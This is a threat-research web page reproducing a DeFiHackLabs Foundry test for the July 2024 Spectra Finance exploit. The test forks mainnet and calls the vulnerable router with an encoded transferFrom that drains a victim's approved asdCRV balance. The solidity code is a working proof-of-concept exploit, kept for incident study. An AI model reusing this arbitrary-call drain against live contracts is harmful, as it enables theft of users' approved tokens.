Skip to content
THREATWIRE

Public reproduction file

src/test/2024-07/Spectra_finance_exp.sol

Public reproduction file for dataset entry Spectra_finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-07/Spectra_finance_exp.sol51 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo -- Total Lost : ~73K USD
8// TX : https://app.blocksec.com/explorer/tx/eth/0x491cf8b2a5753fdbf3096b42e0a16bc109b957dc112d6537b1ed306e483d0744
9// Attacker : https://etherscan.io/address/0x53635bf7b92b9512f6de0eb7450b26d5d1ad9a4c
10// Attack Contract : https://etherscan.io/address/0xba8ce86147ded54c0879c9a954f9754a472704aa
11// GUY : https://x.com/shoucccc/status/1815981585637990899
13contract ContractTest is Test {
14 address public VulnContract = 0x3d20601ac0Ba9CAE4564dDf7870825c505B69F1a;
15 address victim = 0x279a7DBFaE376427FFac52fcb0883147D42165FF;
16 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
17 IERC20 asdCRV = IERC20(0x43E54C2E7b3e294De3A155785F52AB49d87B9922);
19 function setUp() public {
20 vm.createSelectFork("mainnet", 20_369_956);
21 }
23 function testExploit() external {
24 emit log_named_decimal_uint(
25 "[Begin] Attacker asdCRV balance before exploit", asdCRV.balanceOf(address(this)), asdCRV.decimals()
26 );
27 attack();
28 emit log_named_decimal_uint(
29 "[End] Attacker asdCRV balance after exploit", asdCRV.balanceOf(address(this)), asdCRV.decimals()
30 );
31 }
33 function attack() public {
34 bytes memory datas = abi.encode(
35 address(asdCRV),
36 address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE),
37 0,
38 address(this),
39 1,
40 abi.encodeWithSelector(
41 bytes4(0x23b872dd), address(victim), address(this), asdCRV.balanceOf(address(victim))
42 )
43 );
44 bytes memory command = hex"12";
45 bytes[] memory data = new bytes[](1);
46 data[0] = datas;
47 address(VulnContract).call(abi.encodeWithSelector(bytes4(0x3593564c), command, data, block.timestamp + 20));
48 }
50 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “Spectra_finance” (2024-07-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x53635bf7b92b9512f6de0eb7450b26d5d1ad9a4c

  • Attack Contract

    0xba8ce86147ded54c0879c9a954f9754a472704aa

File record

Name
Spectra_finance
Path
src/test/2024-07/Spectra_finance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1667896dbf688a8222fe157ef4d9815878b23fef
Language
Solidity
Size
52 lines
Date
2024-07-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-07/Spectra_finance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1667896dbf688a8222fe157ef4d9815878b23fef, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.